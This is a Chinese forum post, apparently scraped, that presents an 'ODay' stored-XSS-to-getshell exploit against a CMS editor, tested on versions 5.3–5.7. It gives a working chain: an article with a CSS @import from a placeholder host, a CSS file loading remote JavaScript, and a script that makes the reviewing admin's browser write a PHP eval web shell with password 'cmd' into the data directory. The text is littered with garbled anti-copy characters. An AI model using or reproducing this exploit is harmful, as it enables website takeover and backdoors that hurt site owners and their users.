<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell k" \% {& k. }3 O8 x
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
5 x; K9 c) F7 Y& r目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
: T1 P4 x" G+ C/ i# F下面说说利用方法。
* w8 H6 t4 c3 ?0 L, e4 P条件有2个:
+ r1 n+ s; E9 E# X' H- O( m3 u0 s1.开启注册& R, ? p- j- o% s4 R1 t/ I5 x! K8 V
2.开启投稿1 s+ ~4 a* Q- A
注册会员----发表文章
% L' C' {. D) ~3 [6 n内容填写:1 w& G; J; Y2 h
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<style>@im\port'\http://xxx.com/xss.css';</style>. I/ U+ O* m$ Y! E) F2 ]+ F
新建XSS.Css6 D6 L& e; N2 N: X- B# `0 o
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.body{
/ b+ f% F! g3 X5 Y# ibackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') } T& R9 Z2 m% c# _: u/ x
新建xss.js 内容为
% j% J6 N8 U2 k" q+ z7 o) w1 ]复制代码
( Z' Z) O$ ~! A# g, B; g. Z1 u1.var request = false;
7 U' l9 M4 f. G( b3 ?* l1 u2.if(window.XMLHttpRequest) {4 \% F/ R1 Q. c5 u. g
3.request = new XMLHttpRequest();6 @; a( t5 r2 Z& m- s1 t" r
4.if(request.overrideMimeType) {
2 J( ^. L8 y$ l( @) D/ L5.request.overrideMimeType('text/xml');
! i C+ v" a: Z, ?6.}7 y; g% a3 Z1 r
7.} else if(window.ActiveXObject) {3 k& } Z. f/ s6 p3 [
8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; x* |+ V+ ^& U9 j/ c6 e) b: w
9.for(var i=0; i<versions.length; i++) {0 A9 `* v% k+ J" Z. A
10.try {, ?0 r, b' }6 F- o* v- X" h3 T
11.request = new ActiveXObject(versions);
; i5 F( E1 Z) l1 D12.} catch(e) {}
1 l' g' a. u9 i( L8 l13.}
5 Q( g1 `0 p' y14.}
* E* J2 Z- P, `8 J15.xmlhttp=request;
0 `( T) E& D. r1 h5 a% s% j+ F16.function getFolder( url ){+ s$ j/ B' }0 ^$ N! d3 o7 A
17. obj = url.split('/'): u6 j7 k) H& v( K% P( l N. t2 N3 U
18. return obj[obj.length-2]
3 o9 P% u* w6 f19.}
6 a& ?# [* I$ c: D; O% |20.oUrl = top.location.href;
+ }/ e5 |' j' @' q% J9 z/ Q21.u = getFolder(oUrl);: p- ~2 j: n, X. f& T
22.add_admin();2 Z! M, { h- }( o7 \4 Y) z' l" B
23.function add_admin(){
. H: ?8 P- G9 @- g24.var url= "/"+u+"/sys_sql_query.php";
: j. v0 ^3 O+ j# P) a2 c# l6 I25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
- {; C+ ?# @- e26.xmlhttp.open("POST", url, true);$ ]$ v/ [* K7 a( y
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");6 C# w! e) h" [$ K
28.xmlhttp.setRequestHeader("Content-length", params.length);- Q# D* a* c4 I0 B$ w" X8 d8 h
29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");, [3 q& N- D" H. p$ j( Q6 g& U- b
30.xmlhttp.send(params); _ h( J/ ~- F( k/ d
31.}
) ^& s) g7 }+ Z, v% h* `; T当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |